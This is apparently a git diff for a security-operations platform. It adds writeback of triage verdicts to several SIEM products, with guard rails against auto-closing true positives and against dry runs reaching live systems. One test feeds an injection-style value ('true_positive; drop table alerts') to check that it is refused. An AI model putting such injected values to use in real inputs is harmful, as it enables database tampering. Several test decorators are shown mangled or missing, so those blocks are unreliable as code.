+ def _summarise(self, output: dict[str, Any], status: LiveActionStatus) -> str:
+ finding = output.get("finding_id") or ""
+ disposition = output.get("disposition") or "unknown"
+ verb = output.get("writeback_action") or "refuse"
+ if status == LiveActionStatus.FAILED:
+ return f"Failed to write {disposition} back to {self.vendor_id} finding {finding}".strip()
+ if not output.get("written"):
+ # Covers both the refusal and the no-credentials simulation. Saying
+ # "updated" for either is the exact dishonesty this verb must not
+ # commit: an unexecuted writeback reported as executed means an
+ # analyst trusts a queue that was never touched.
+ return f"No change to {self.vendor_id} finding {finding}: {output.get('reason') or 'not written'}".strip()
+ return f"Wrote {disposition} ({verb}) to {self.vendor_id} finding {finding}".strip()
+
+
+@apply_contract
+class SplunkUpdateAlertDisposition(_DispositionWriteback):
+ capability = "update_alert_disposition"
+ vendor_id = "splunk"
+ description = "Write an AiSOC verdict onto the Splunk ES notable that raised the alert."
+ _credential_keys = _SPLUNK_KEYS
+
+
+@apply_contract
+class ElasticUpdateAlertDisposition(_DispositionWriteback):
+ capability = "update_alert_disposition"
+ vendor_id = "elastic"
+ description = "Write an AiSOC verdict onto the Elastic Security signal that raised the alert."
+ _credential_keys = _ELASTIC_KEYS
+
+
+@apply_contract
+class SentinelUpdateAlertDisposition(_DispositionWriteback):
+ capability = "update_alert_disposition"
+ vendor_id = "sentinel"
+ description = "Write an AiSOC verdict onto the Microsoft Sentinel incident that raised the alert."
+ _credential_keys = _SENTINEL_KEYS
+
+
+@apply_contract
+class QRadarUpdateAlertDisposition(_DispositionWriteback):
+ capability = "update_alert_disposition"
+ vendor_id = "qradar"
+ description = "Write an AiSOC verdict onto the IBM QRadar offense that raised the alert."
+ _credential_keys = _QRADAR_KEYS
+
+
+@apply_contract
+class DefenderUpdateAlertDisposition(_DispositionWriteback):
+ capability = "update_alert_disposition"
+ vendor_id = "defender"
+ description = "Write an AiSOC verdict onto the Microsoft Defender alert that raised it."
+ _credential_keys = _DEFENDER_IOC_KEYS
+
+
# ---------------------------------------------------------------------------
# Phase B2 — previously-unregistered vendor adapters.
#
@@ -623,6 +727,12 @@ _BUILTIN_ADAPTERS: tuple[type[LiveActionExecutor], ...] = (
SplunkSyncDetectionRule,
ElasticUpdateWatcher,
DefenderBlockIOC,
+ # Two-way SIEM loop
+ SplunkUpdateAlertDisposition,
+ ElasticUpdateAlertDisposition,
+ SentinelUpdateAlertDisposition,
+ QRadarUpdateAlertDisposition,
+ DefenderUpdateAlertDisposition,
# Phase B2 — previously-unregistered vendors
SentinelOneIsolateHost,
EntraDisableUser,
diff --git a/services/actions/app/live_actions/capabilities.py b/services/actions/app/live_actions/capabilities.py
index c52ca7025..7ad8b819e 100644
--- a/services/actions/app/live_actions/capabilities.py
+++ b/services/actions/app/live_actions/capabilities.py
@@ -86,6 +86,9 @@ KNOWN_CAPABILITIES: frozenset[str] = frozenset(
"search_siem",
"suspend_session",
"sync_detection_rule",
+ # The return leg of a two-way SIEM integration: AiSOC's verdict
+ # written back onto the vendor finding that produced the alert.
+ "update_alert_disposition",
"update_watcher",
# TICKET
"push_case",
diff --git a/services/actions/app/live_actions/capability_contracts.py b/services/actions/app/live_actions/capability_contracts.py
index 1d0650cc3..c2fc3d10d 100644
--- a/services/actions/app/live_actions/capability_contracts.py
+++ b/services/actions/app/live_actions/capability_contracts.py
@@ -376,6 +376,24 @@ CAPABILITY_CONTRACTS: dict[str, CapabilityContract] = {
reverse_capability="update_watcher",
required_permission=_CONTAIN,
),
+ "update_alert_disposition": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ note=(
+ "Writes a verdict onto a finding in the customer's SIEM. Classified "
+ "the same as create_notable_event and push_status, which it is the "
+ "mirror image of: it changes a queue item, not an estate, and a "
+ "wrong one is re-opened from the vendor console in a click. "
+ "What bounds it is not the approval tier but the disposition "
+ "mapping — a confirmed true positive escalates and is never "
+ "closed, and a verdict outside the taxonomy is refused rather than "
+ "guessed (app/services/disposition_writeback.py). On top of that "
+ "the feature ships dry-run by default: AISOC_SIEM_WRITEBACK_EXECUTE "
+ "is off, so an operator opts in to the vendor call, not out of it."
+ ),
+ ),
# ── Ticketing and notification ─────────────────────────────────────────
"create_ticket": CapabilityContract(
impact=ActionImpact.LOW,
diff --git a/services/actions/app/models/action.py b/services/actions/app/models/action.py
index 1a3515e84..1db065213 100644
--- a/services/actions/app/models/action.py
+++ b/services/actions/app/models/action.py
@@ -50,6 +50,10 @@ class ActionType(str, Enum):
# which credentials are present in the request.
ACK_ALERT = "ack_alert"
SUPPRESS_ALERT = "suppress_alert"
+ # Two-way SIEM loop: project an AiSOC verdict onto the vendor finding that
+ # raised the alert. Distinct from ack/suppress because the disposition —
+ # not the caller — decides whether the finding is closed or escalated.
+ UPDATE_ALERT_DISPOSITION = "update_alert_disposition"
class ActionStatus(str, Enum):
diff --git a/services/actions/app/services/credential_resolver.py b/services/actions/app/services/credential_resolver.py
index 0f1a8a239..469140b9c 100644
--- a/services/actions/app/services/credential_resolver.py
+++ b/services/actions/app/services/credential_resolver.py
@@ -29,6 +29,14 @@ CONNECTOR_TO_VENDOR: dict[str, str] = {
"aws_security_hub": "aws_security_groups",
"aws_guardduty": "aws_security_groups",
"azure_defender": "defender",
+ # The SIEM connectors publish longer ids than the live-action vendor ids.
+ # Without these aliases a tenant's Sentinel or QRadar credentials resolve
+ # to an empty map and the writeback silently simulates.
+ "microsoft_sentinel": "sentinel",
+ "azure_sentinel": "sentinel",
+ "ibm_qradar": "qradar",
+ "splunk_enterprise": "splunk",
+ "elasticsearch": "elastic",
}
# live vendor_id -> {connector auth_config field : executor param key}.
@@ -97,6 +105,25 @@ VENDOR_CREDENTIAL_MAP: dict[str, dict[str, str]] = {
"password": "elastic_password",
"kibana_url": "kibana_url",
},
+ "sentinel": {
+ # Sentinel addresses an incident by its full ARM path, so the
+ # workspace coordinates are credentials in the sense that matters
+ # here: without all six the client cannot be built at all.
+ "tenant_id": "sentinel_tenant_id",
+ "client_id": "sentinel_client_id",
+ "client_secret": "sentinel_client_secret",
+ "subscription_id": "sentinel_subscription_id",
+ "resource_group": "sentinel_resource_group",
+ "workspace_name": "sentinel_workspace_name",
+ },
+ "qradar": {
+ "base_url": "qradar_url",
+ "api_token": "qradar_token",
+ "ssl_verify": "qradar_verify_ssl",
+ # Deployment-specific and not guessable: QRadar refuses a close
+ # without one, and every console defines its own set.
+ "closing_reason_id": "qradar_closing_reason_id",
+ },
"jira": {
"base_url": "jira_base_url",
"email": "jira_email",
diff --git a/services/actions/app/services/disposition_writeback.py b/services/actions/app/services/disposition_writeback.py
new file mode 100644
index 000000000..a944843ec
--- /dev/null
+++ b/services/actions/app/services/disposition_writeback.py
@@ -0,0 +1,152 @@
+"""What an AiSOC verdict is allowed to do to the finding that produced it.
+
+Closing the loop with the source SIEM is the point of two-way integration: an
+analyst should not have to re-read an Elastic signal AiSOC already dismissed,
+and a Splunk notable AiSOC confirmed should already be assigned to a human by
+the time anyone opens the queue.
+
+The mapping is deliberate, not mechanical, and the three rules below are the
+whole safety argument for letting an agent write into the customer's system of
+record at all:
+
+**A confirmed true positive is never closed.** It is the case the SOC most
+needs a human to see. Closing it because the platform is confident is how an
+agent turns a real intrusion into a resolved ticket nobody read. A true
+positive escalates: the finding is annotated and moved to in-progress, and it
+stays open.
+
+**An unknown verdict is refused, never guessed.** ``needs_review`` and any
+string outside the canonical taxonomy resolve to :data:`WritebackAction.REFUSE`
+and the source finding is left exactly as it was. This matters more than it
+looks: the agents' own :func:`normalize_disposition` defaults an unrecognised
+verdict to ``true_positive``, so a mapper that normalised first would silently
+convert "I do not know what this string is" into a confident claim. This module
+matches the canonical set exactly and refuses everything else.
+
+**Only a benign or false-positive verdict may close a finding.** Those are the
+verdicts where being wrong costs a missed detection that the rule will fire
+again on, rather than an intrusion closed as handled.
+
+The vocabulary is a deliberate mirror of
+``services/agents/app/agents/dispositions.py`` rather than an import, for the
+same reason ``live_actions.capabilities`` mirrors the connectors ``Capability``
+enum: the two are independently deployable and a hard import would couple them.
+``tests/test_disposition_writeback.py`` compares the two sets and fails on
+drift.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from enum import Enum
+
+TRUE_POSITIVE = "true_positive"
+BENIGN_TRUE_POSITIVE = "benign_true_positive"
+FALSE_POSITIVE = "false_positive"
+BENIGN = "benign"
+NEEDS_REVIEW = "needs_review"
+ESCALATE = "escalate"
+
+#: Mirror of ``dispositions.CANONICAL_DISPOSITIONS``. Anything outside this set
+#: is refused rather than interpreted.
+CANONICAL_DISPOSITIONS: frozenset[str] = frozenset(
+ {
+ TRUE_POSITIVE,
+ BENIGN_TRUE_POSITIVE,
+ FALSE_POSITIVE,
+ BENIGN,
+ NEEDS_REVIEW,
+ ESCALATE,
+ }
+)
+
+#: The only verdicts that may close a finding in somebody else's SIEM.
+CLOSEABLE_DISPOSITIONS: frozenset[str] = frozenset({FALSE_POSITIVE, BENIGN, BENIGN_TRUE_POSITIVE})
+
+#: Verdicts that annotate and hand the finding to a human without closing it.
+ESCALATING_DISPOSITIONS: frozenset[str] = frozenset({TRUE_POSITIVE, ESCALATE})
+
+
+class WritebackAction(str, Enum):
+ """What to do to the source finding."""
+
+ #: Set the finding to a closed/resolved state with AiSOC's reason.
+ CLOSE = "close"
+
+ #: Annotate and move to in-progress. The finding stays open.
+ ESCALATE = "escalate"
+
+ #: Do nothing at all to the finding. Not a failure — a decision.
+ REFUSE = "refuse"
+
+
+@dataclass(frozen=True)
+class WritebackPlan:
+ """The decision, and the sentence explaining it.
+
+ ``reason`` is rendered into the vendor comment and into the API response,
+ so a Splunk analyst reading the notable sees why AiSOC touched it and an
+ AiSOC operator reading the audit trail sees the same words.
+ """
+
+ action: WritebackAction
+ disposition: str
+ reason: str
+
+ @property
+ def writes(self) -> bool:
+ return self.action is not WritebackAction.REFUSE
+
+
+def plan_writeback(disposition: object, *, confidence: float | None = None) -> WritebackPlan:
+ """Decide what ``disposition`` may do to the finding that produced it.
+
+ ``confidence`` is recorded in the reason but deliberately does not change
+ the decision. Confidence is an input to whether an action is *approved*
+ (that is the approval matrix's job, and it is the axis it already reasons
+ about); it is not licence to close a true positive.
+ """
+ raw = disposition if isinstance(disposition, str) else ""
+ key = raw.strip().lower().replace("-", "_").replace(" ", "_")
+ scored = "" if confidence is None else f" (confidence {confidence:.0%})"
+
+ if key not in CANONICAL_DISPOSITIONS:
+ shown = raw.strip()[:64] or "<empty>"
+ return WritebackPlan(
+ action=WritebackAction.REFUSE,
+ disposition=key or "unknown",
+ reason=(
+ f"Refused: {shown!r} is not a recognised AiSOC disposition, and a verdict "
+ f"the platform cannot name is not one it may act on. The source finding is unchanged."
+ ),
+ )
+
+ if key in CLOSEABLE_DISPOSITIONS:
+ return WritebackPlan(
+ action=WritebackAction.CLOSE,
+ disposition=key,
+ reason=f"AiSOC triaged this finding as {key}{scored}. Closing it in the source system.",
+ )
+
+ if key in ESCALATING_DISPOSITIONS:
+ return WritebackPlan(
+ action=WritebackAction.ESCALATE,
+ disposition=key,
+ reason=(
+ f"AiSOC triaged this finding as {key}{scored}. Escalated to a human and left OPEN — "
+ f"a confirmed true positive is never auto-closed."
+ ),
+ )
+
+ # needs_review. Reached only for a canonical verdict with no action, which
+ # today is exactly this one. Saying nothing is the honest outcome: the
+ # finding is already open and already unresolved, so an annotation claiming
+ # AiSOC did something would be noise on every alert it could not decide.
+ return WritebackPlan(
+ action=WritebackAction.REFUSE,
+ disposition=key,
+ reason=(
+ f"Refused: AiSOC reached {key}{scored} rather than a verdict. The source finding is "
+ f"left exactly as it was, because 'undecided' is the state it is already in."
+ ),
+ )
diff --git a/services/actions/app/services/executor_registry.py b/services/actions/app/services/executor_registry.py
index bb0258e93..375858810 100644
--- a/services/actions/app/services/executor_registry.py
+++ b/services/actions/app/services/executor_registry.py
@@ -29,6 +29,7 @@ from app.executors.siem import (
SearchSIEMExecutor,
SuppressAlertExecutor,
SyncDetectionRuleExecutor,
+ UpdateAlertDispositionExecutor,
UpdateWatcherExecutor,
)
from app.models.action import ActionType
@@ -58,6 +59,8 @@ EXECUTOR_REGISTRY = {
# Phase 3.3 — alert lifecycle (Splunk ES / Elastic Security / MDE).
ActionType.ACK_ALERT: AckAlertExecutor(),
ActionType.SUPPRESS_ALERT: SuppressAlertExecutor(),
+ # Two-way loop: AiSOC's verdict back onto the source finding.
+ ActionType.UPDATE_ALERT_DISPOSITION: UpdateAlertDispositionExecutor(),
# Notifications & orchestration
ActionType.NOTIFY_SLACK: NotifySlackExecutor(),
ActionType.CREATE_TICKET: CreateTicketExecutor(),
diff --git a/services/actions/tests/test_alert_vendor_pin.py b/services/actions/tests/test_alert_vendor_pin.py
new file mode 100644
index 000000000..221b9a797
--- /dev/null
+++ b/services/actions/tests/test_alert_vendor_pin.py
@@ -0,0 +1,108 @@
+"""An ``alert_vendor`` pin must be checked against the credentials.
+
+``_ack_vendor`` used to return the pinned vendor unconditionally:
+
+ explicit = (params.get("alert_vendor") or "").strip().lower()
+ if explicit in {"splunk", "elastic", "defender", "mde"}:
+ return "defender" if explicit == "mde" else explicit
+
+Two consequences, both reached in normal operation. A dry run works by
+stripping credentials, so the pin survived the strip and the executor
+resolved "splunk" with no client — then hit ``assert splunk is not None``,
+crashing an action that was supposed to be a harmless preview. And a pin
+naming a vendor the tenant has never configured reported a vendor arm that
+could not possibly have run.
+
+The fix also has to be conservative in the other direction: a pin that cannot
+be honoured must NOT silently fall through to whichever other SIEM happens to
+have credentials. "Write this verdict to Splunk" turning into "write it to
+Elastic" puts a disposition on a finding in a system nobody asked about.
+"""
+
+from __future__ import annotations
+
+from uuid import uuid4
+
+import pytest
+from app.executors import siem
+from app.models.action import ActionRequest, ActionStatus, ActionType
+
+SPLUNK = {"splunk_url": "https://splunk.example.invalid:8089", "splunk_token": "unit-test-placeholder"}
+ELASTIC = {
+ "elastic_url": "https://es.example.invalid:9243",
+ "elastic_api_key": "unit-test-placeholder",
+ "kibana_url": "https://kibana.example.invalid:5601",
+}
+
+
+def test_pin_without_credentials_does_not_resolve_a_vendor() -> None:
+ assert siem._ack_vendor({"alert_vendor": "splunk"}) is None
+
+
+def test_pin_with_credentials_resolves() -> None:
+ assert siem._ack_vendor({**SPLUNK, "alert_vendor": "splunk"}) == "splunk"
+
+
+def test_an_unhonourable_pin_never_falls_through_to_another_vendor() -> None:
+ """Splunk pinned, only Elastic configured: refuse rather than redirect."""
+ assert siem._ack_vendor({**ELASTIC, "alert_vendor": "splunk"}) is None
+
+
+def test_unknown_pin_is_refused() -> None:
+ assert siem._ack_vendor({**SPLUNK, "alert_vendor": "not_a_siem"}) is None
+
+
+ ("alias", "expected"),
+ [
+ ("mde", "defender"),
+ ("microsoft_sentinel", "sentinel"),
+ ("ibm_qradar", "qradar"),
+ ("splunk_enterprise", "splunk"),
+ ("elasticsearch", "elastic"),
+ ],
+)
+def test_connector_ids_alias_onto_vendor_ids(alias: str, expected: str) -> None:
+ """A connector id is what a tenant actually has; it must still be checked."""
+ assert siem._ack_vendor({"alert_vendor": alias}) is None, "alias without credentials must not resolve"
+ credentials = {
+ "defender": {
+ "mde_tenant_id": "t",
+ "mde_client_id": "c",
+ "mde_client_secret": "unit-test-placeholder",
+ },
+ "sentinel": {
+ "sentinel_tenant_id": "t",
+ "sentinel_client_id": "c",
+ "sentinel_client_secret": "unit-test-placeholder",
+ "sentinel_subscription_id": "s",
+ "sentinel_resource_group": "rg",
+ "sentinel_workspace_name": "ws",
+ },
+ "qradar": {"qradar_url": "https://qradar.example.invalid", "qradar_token": "unit-test-placeholder"},
+ "splunk": SPLUNK,
+ "elastic": ELASTIC,
+ }[expected]
+ assert siem._ack_vendor({**credentials, "alert_vendor": alias}) == expected
+
+
+def test_no_pin_falls_back_to_credential_order() -> None:
+ assert siem._ack_vendor(ELASTIC) == "elastic"
+ assert siem._ack_vendor({**SPLUNK, **ELASTIC}) == "splunk"
+ assert siem._ack_vendor({}) is None
+
+
+async def test_ack_with_an_unhonourable_pin_simulates_instead_of_crashing() -> None:
+ """The regression in full: previously an AssertionError, now a simulation."""
+ result = await siem.AckAlertExecutor().execute(
+ ActionRequest(
+ incident_id=uuid4(),
+ tenant_id=uuid4(),
+ action_type=ActionType.ACK_ALERT,
+ target="NOTABLE-9",
+ parameters={"alert_vendor": "splunk"},
+ )
+ )
+ assert result.status is ActionStatus.COMPLETED
+ assert result.output["note"].startswith("Simulation mode")
diff --git a/services/actions/tests/test_disposition_writeback.py b/services/actions/tests/test_disposition_writeback.py
new file mode 100644
index 000000000..749f98c70
--- /dev/null
+++ b/services/actions/tests/test_disposition_writeback.py
@@ -0,0 +1,123 @@
+"""The disposition mapping is the whole safety argument for writing back.
+
+Three properties, each one a decision somebody could reasonably get wrong:
+
+* a confirmed true positive escalates and is never closed;
+* a verdict outside the canonical taxonomy is refused, never interpreted;
+* only benign / false-positive verdicts may close a finding.
+
+The second is the subtle one. ``services/agents`` normalises an unrecognised
+verdict to ``true_positive`` by design (its fail-safe is "do not auto-close").
+A mapper that normalised first would turn "I have never seen this string"
+into a confident claim and then act on it, so this module matches the
+canonical set exactly and refuses the rest.
+"""
+
+from __future__ import annotations
+
+import pytest
+from app.services.disposition_writeback import (
+ CANONICAL_DISPOSITIONS,
+ CLOSEABLE_DISPOSITIONS,
+ WritebackAction,
+ plan_writeback,
+)
+
+
[email protected]("disposition", ["false_positive", "benign", "benign_true_positive"])
+def test_benign_verdicts_close_the_source_finding(disposition: str) -> None:
+ plan = plan_writeback(disposition)
+ assert plan.action is WritebackAction.CLOSE
+ assert plan.writes is True
+
+
[email protected]("disposition", ["true_positive", "escalate", "TRUE POSITIVE", "True-Positive"])
+def test_a_confirmed_true_positive_is_escalated_and_never_closed(disposition: str) -> None:
+ plan = plan_writeback(disposition, confidence=0.99)
+ assert plan.action is WritebackAction.ESCALATE
+ assert plan.action is not WritebackAction.CLOSE
+ assert "never auto-closed" in plan.reason
+
+
+ "disposition",
+ [
+ "resolved",
+ "closed",
+ "malicious",
+ "",
+ " ",
+ None,
+ 123,
+ "true_positive; drop table alerts",
+ ],
+)
+def test_an_unknown_verdict_is_refused_not_guessed(disposition: object) -> None:
+ plan = plan_writeback(disposition)
+ assert plan.action is WritebackAction.REFUSE
+ assert plan.writes is False
+
+
+def test_needs_review_leaves_the_finding_exactly_as_it_was() -> None:
+ plan = plan_writeback("needs_review")
+ assert plan.action is WritebackAction.REFUSE
+ assert plan.writes is False
+
+
+def test_high_confidence_cannot_promote_a_true_positive_to_a_close() -> None:
+ """Confidence is an approval axis, not a licence to close a real incident."""
+ for confidence in (0.0, 0.5, 0.999, 1.0):
+ assert plan_writeback("true_positive", confidence=confidence).action is WritebackAction.ESCALATE
+
+
+def test_closeable_set_is_a_strict_subset_of_the_taxonomy() -> None:
+ assert CLOSEABLE_DISPOSITIONS < CANONICAL_DISPOSITIONS
+ assert "true_positive" not in CLOSEABLE_DISPOSITIONS
+
+
+def test_taxonomy_mirrors_the_agents_service() -> None:
+ """The two vocabularies are mirrored, not imported. Assert they agree.
+
+ ``services/agents`` and ``services/actions`` are independently deployable,
+ so this module copies the disposition strings rather than importing them —
+ the same trade-off ``live_actions.capabilities`` makes for the connectors
+ ``Capability`` enum, and the same reason it needs a gate.
+ """
+ import ast
+ from pathlib import Path
+
+ source = Path(__file__).resolve().parents[3] / "services" / "agents" / "app" / "agents" / "dispositions.py"
+ if not source.exists(): # pragma: no cover - monorepo layout only
+ pytest.skip("agents service not present in this checkout")
+
+ tree = ast.parse(source.read_text(encoding="utf-8"))
+
+ # Module-level `NAME = "literal"` bindings, so the constant references
+ # inside CANONICAL_DISPOSITIONS can be resolved to the strings that
+ # actually travel on the wire.
+ literals: dict[str, str] = {}
+ for node in tree.body:
+ if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant) and isinstance(node.value.value, str):
+ for target in node.targets:
+ if isinstance(target, ast.Name):
+ literals[target.id] = node.value.value
+
+ agents_dispositions: set[str] = set()
+ for node in ast.walk(tree):
+ if not isinstance(node, ast.AnnAssign) and not isinstance(node, ast.Assign):
+ continue
+ targets = [node.target] if isinstance(node, ast.AnnAssign) else list(node.targets)
+ if not any(isinstance(t, ast.Name) and t.id == "CANONICAL_DISPOSITIONS" for t in targets):
+ continue
+ for ref in ast.walk(node.value) if node.value is not None else []:
+ if isinstance(ref, ast.Name) and ref.id in literals:
+ agents_dispositions.add(literals[ref.id])
+ elif isinstance(ref, ast.Constant) and isinstance(ref.value, str):
+ agents_dispositions.add(ref.value)
+
+ assert agents_dispositions, "could not parse CANONICAL_DISPOSITIONS out of the agents service"
+ assert agents_dispositions == set(CANONICAL_DISPOSITIONS), (
+ f"the agents taxonomy is {sorted(agents_dispositions)} and the writeback mirror is "
+ f"{sorted(CANONICAL_DISPOSITIONS)}; a verdict present on one side only is refused at "
+ f"writeback while the agent believes it decided."
+ )
diff --git a/services/actions/tests/test_dry_run_credential_strip.py b/services/actions/tests/test_dry_run_credential_strip.py
new file mode 100644
index 000000000..57685c8fc
--- /dev/null
+++ b/services/actions/tests/test_dry_run_credential_strip.py
@@ -0,0 +1,179 @@
+"""A dry run must not be able to reach the customer's SIEM.
+
+``_LegacyExecutorAdapter`` implements ``dry_run`` by deleting the adapter's
+``_credential_keys`` from the request before delegating, so the legacy executor
+falls through to its simulation branch. That only works if the strip list is
+*exactly* the set of keys the client factory reads.
+
+It was not. The Splunk adapters stripped ``splunk_host`` / ``splunk_token`` /
+``splunk_index`` while ``executors.siem._splunk_client`` reads ``splunk_url``
+first and also accepts ``splunk_username`` + ``splunk_password``. A tenant who
+configured Splunk through a connector got ``splunk_url`` (that is the key
+``credential_resolver`` writes), so the factory still built a client and the
+"preview" ran against production. Elastic had the identical mismatch —
+``elastic_host`` stripped, ``elastic_url`` read.
+
+Three layers here, because set equality alone would not have caught the
+original bug if someone had also "fixed" the constant to match the wrong keys:
+
+1. the declared key tuple equals the keys the factory source actually reads,
+ re-derived from the source so it cannot drift;
+2. every registered adapter's strip list equals its vendor's declared tuple;
+3. behaviourally — strip the keys from a fully populated parameter dict and
+ the factory must return ``None``.
+"""
+
+from __future__ import annotations
+
+import ast
+import inspect
+from uuid import uuid4
+
+import pytest
+from app.executors import siem
+from app.live_actions import builtins, registry
+from app.live_actions.models import LiveActionRequest, LiveActionStatus
+
+#: Fully-populated credentials for every SIEM the writeback path can reach.
+#: Deliberately includes *both* the modern and legacy spellings and the
+#: basic-auth pair — that combination is what a real connector produces and
+#: what the old strip list left behind.
+FULL_CREDENTIALS: dict[str, object] = {
+ "splunk_url": "https://splunk.example.invalid:8089",
+ "splunk_host": "https://splunk.example.invalid:8089",
+ "splunk_token": "unit-test-placeholder",
+ "splunk_username": "svc-aisoc",
+ "splunk_password": "unit-test-placeholder",
+ "splunk_verify_ssl": True,
+ "elastic_url": "https://es.example.invalid:9243",
+ "elastic_api_key": "unit-test-placeholder",
+ "elastic_username": "svc-aisoc",
+ "elastic_password": "unit-test-placeholder",
+ "kibana_url": "https://kibana.example.invalid:5601",
+ "sentinel_tenant_id": "00000000-0000-0000-0000-000000000001",
+ "sentinel_client_id": "00000000-0000-0000-0000-000000000002",
+ "sentinel_client_secret": "unit-test-placeholder",
+ "sentinel_subscription_id": "00000000-0000-0000-0000-000000000003",
+ "sentinel_resource_group": "rg-soc",
+ "sentinel_workspace_name": "ws-soc",
+ "qradar_url": "https://qradar.example.invalid",
+ "qradar_token": "unit-test-placeholder",
+ "qradar_verify_ssl": True,
+ "mde_tenant_id": "00000000-0000-0000-0000-000000000004",
+ "mde_client_id": "00000000-0000-0000-0000-000000000005",
+ "mde_client_secret": "unit-test-placeholder",
+}
+
+FACTORIES = {
+ "splunk": (siem._splunk_client, siem.SPLUNK_CLIENT_PARAM_KEYS),
+ "elastic": (siem._elastic_client, siem.ELASTIC_CLIENT_PARAM_KEYS),
+ "sentinel": (siem._sentinel_client, siem.SENTINEL_CLIENT_PARAM_KEYS),
+ "qradar": (siem._qradar_client, siem.QRADAR_CLIENT_PARAM_KEYS),
+}
+
+#: vendor_id -> the declared key tuple every adapter for that vendor must use.
+VENDOR_KEYS = {
+ "splunk": siem.SPLUNK_CLIENT_PARAM_KEYS,
+ "elastic": siem.ELASTIC_CLIENT_PARAM_KEYS,
+ "sentinel": siem.SENTINEL_CLIENT_PARAM_KEYS,
+ "qradar": siem.QRADAR_CLIENT_PARAM_KEYS,
+}
+
+
+def _keys_read_by(func) -> set[str]:
+ """Re-derive the ``params.get("...")`` keys a factory reads, from its source.
+
+ The anti-drift half. A constant that merely agrees with itself proves
+ nothing; this parses the factory body so adding a new credential key
+ without extending the tuple fails the build.
+ """
+ tree = ast.parse(inspect.getsource(func).lstrip())
+ found: set[str] = set()
+ for node in ast.walk(tree):
+ if not isinstance(node, ast.Call):
+ continue
+ func_node = node.func
+ if not isinstance(func_node, ast.Attribute) or func_node.attr != "get":
+ continue
+ if not isinstance(func_node.value, ast.Name) or func_node.value.id != "params":
+ continue
+ if node.args and isinstance(node.args[0], ast.Constant) and isinstance(node.args[0].value, str):
+ found.add(node.args[0].value)
+ return found
+
+
[email protected]("vendor", sorted(FACTORIES))
+def test_declared_key_tuple_matches_what_the_factory_reads(vendor: str) -> None:
+ factory, declared = FACTORIES[vendor]
+ assert _keys_read_by(factory) == set(declared), (
+ f"{vendor}: the factory reads {sorted(_keys_read_by(factory))} but the exported tuple "
+ f"declares {sorted(declared)}. A key the factory reads and the tuple omits is a dry run "
+ f"that calls the customer's SIEM."
+ )
+
+
[email protected]("vendor", sorted(FACTORIES))
+def test_stripping_the_declared_keys_disables_the_factory(vendor: str) -> None:
+ """The behavioural claim: after a dry-run strip, no client can be built."""
+ factory, declared = FACTORIES[vendor]
+ assert factory(dict(FULL_CREDENTIALS)) is not None, "fixture should build a live client before stripping"
+ stripped = {k: v for k, v in FULL_CREDENTIALS.items() if k not in set(declared)}
+ assert factory(stripped) is None, (
+ f"{vendor}: a dry run stripped {sorted(declared)} and the factory still built a client "
+ f"from {sorted(stripped)} — this is a live vendor call labelled 'preview'."
+ )
+
+
+def test_every_registered_siem_adapter_strips_its_vendors_full_key_set() -> None:
+ builtins.register_builtin_executors(overwrite=True)
+ checked = 0
+ for descriptor in registry.list_descriptors():
+ expected = VENDOR_KEYS.get(descriptor.vendor_id)
+ if expected is None:
+ continue
+ executor = registry.get_executor(descriptor.vendor_id, descriptor.capability)
+ strip = getattr(executor, "_credential_keys", ())
+ detail = f"{descriptor.vendor_id}/{descriptor.capability}: strips {sorted(strip)} vs factory {sorted(expected)}"
+ assert set(strip) == set(expected), detail
+ checked += 1
+ assert checked >= 6, f"expected to grade several SIEM adapters, graded {checked}"
+
+
+async def test_dry_run_writeback_never_reaches_a_vendor(monkeypatch) -> None:
+ """End to end: a dry run with full credentials must report SIMULATED.
+
+ Each factory is wrapped so that *returning a client* trips the wire — the
+ factories are legitimately called during vendor selection, and what must
+ never happen is one of them succeeding. If the strip list regresses, this
+ fails with the reason rather than by making a real network call that CI
+ happens to refuse.
+ """
+ builtins.register_builtin_executors(overwrite=True)
+
+ def _tripwire(name, real):
+ def _wrapped(params):
+ client = real(params)
+ if client is not None:
+ raise AssertionError(f"a dry run built a live client via {name}")
+ return None
+
+ return _wrapped
+
+ for name in ("_splunk_client", "_elastic_client", "_sentinel_client", "_qradar_client"):
+ monkeypatch.setattr(siem, name, _tripwire(name, getattr(siem, name)))
+
+ executor = registry.get_executor("splunk", "update_alert_disposition")
+ assert executor is not None
+ result = await executor.execute(
+ LiveActionRequest(
+ capability="update_alert_disposition",
+ vendor_id="splunk",
+ target="NOTABLE-1",
+ params={**FULL_CREDENTIALS, "disposition": "false_positive"},
+ dry_run=True,
+ tenant_id=uuid4(),
+ )
+ )
+ assert result.status is LiveActionStatus.SIMULATED
+ assert result.details.get("written") is False
diff --git a/services/actions/tests/test_live_action_builtins.py b/services/actions/tests/test_live_action_builtins.py
index fa297af51..8ba5fbb3c 100644
--- a/services/actions/tests/test_live_action_builtins.py
+++ b/services/actions/tests/test_live_action_builtins.py
@@ -52,11 +52,14 @@ def test_register_builtin_executors_returns_full_count() -> None:
"""
count = register_builtin_executors()
# 19 original + 10 Phase B2 vendors + 6 read/rollback verbs + 17
- # vendor-breadth executors. The last group added no new integrations:
- # every one calls a client method that already existed and had no
- # route through the registry — SentinelOne implemented seven
- # operations with one reachable, Entra six with one.
- assert count == 52
+ # vendor-breadth executors + 5 disposition-writeback arms. The
+ # vendor-breadth group added no new integrations: every one calls a
+ # client method that already existed and had no route through the
+ # registry — SentinelOne implemented seven operations with one
+ # reachable, Entra six with one. The writeback arms are the return leg
+ # of a two-way SIEM integration: AiSOC's verdict back onto the notable,
+ # signal, incident or offense that produced the alert.
+ assert count == 57
def test_builtin_executors_cover_canonical_vendor_capability_pairs() -> None:
@@ -90,11 +93,13 @@ def test_builtin_executors_cover_canonical_vendor_capability_pairs() -> None:
("crowdstrike", "run_script"),
("crowdstrike", "unisolate_host"),
("defender", "block_ioc"),
+ ("defender", "update_alert_disposition"),
("defender", "get_host"),
("defender", "isolate_host"),
("defender", "run_av_scan"),
("defender", "unisolate_host"),
("elastic", "search_siem"),
+ ("elastic", "update_alert_disposition"),
("elastic", "update_watcher"),
("fortigate", "allow_ip"),
("fortigate", "block_ip"),
@@ -110,8 +115,10 @@ def test_builtin_executors_cover_canonical_vendor_capability_pairs() -> None:
("okta", "reset_password"),
("okta", "suspend_session"),
("pagerduty", "create_ticket"),
+ ("qradar", "update_alert_disposition"),
("panos", "allow_ip"),
("panos", "block_ip"),
+ ("sentinel", "update_alert_disposition"),
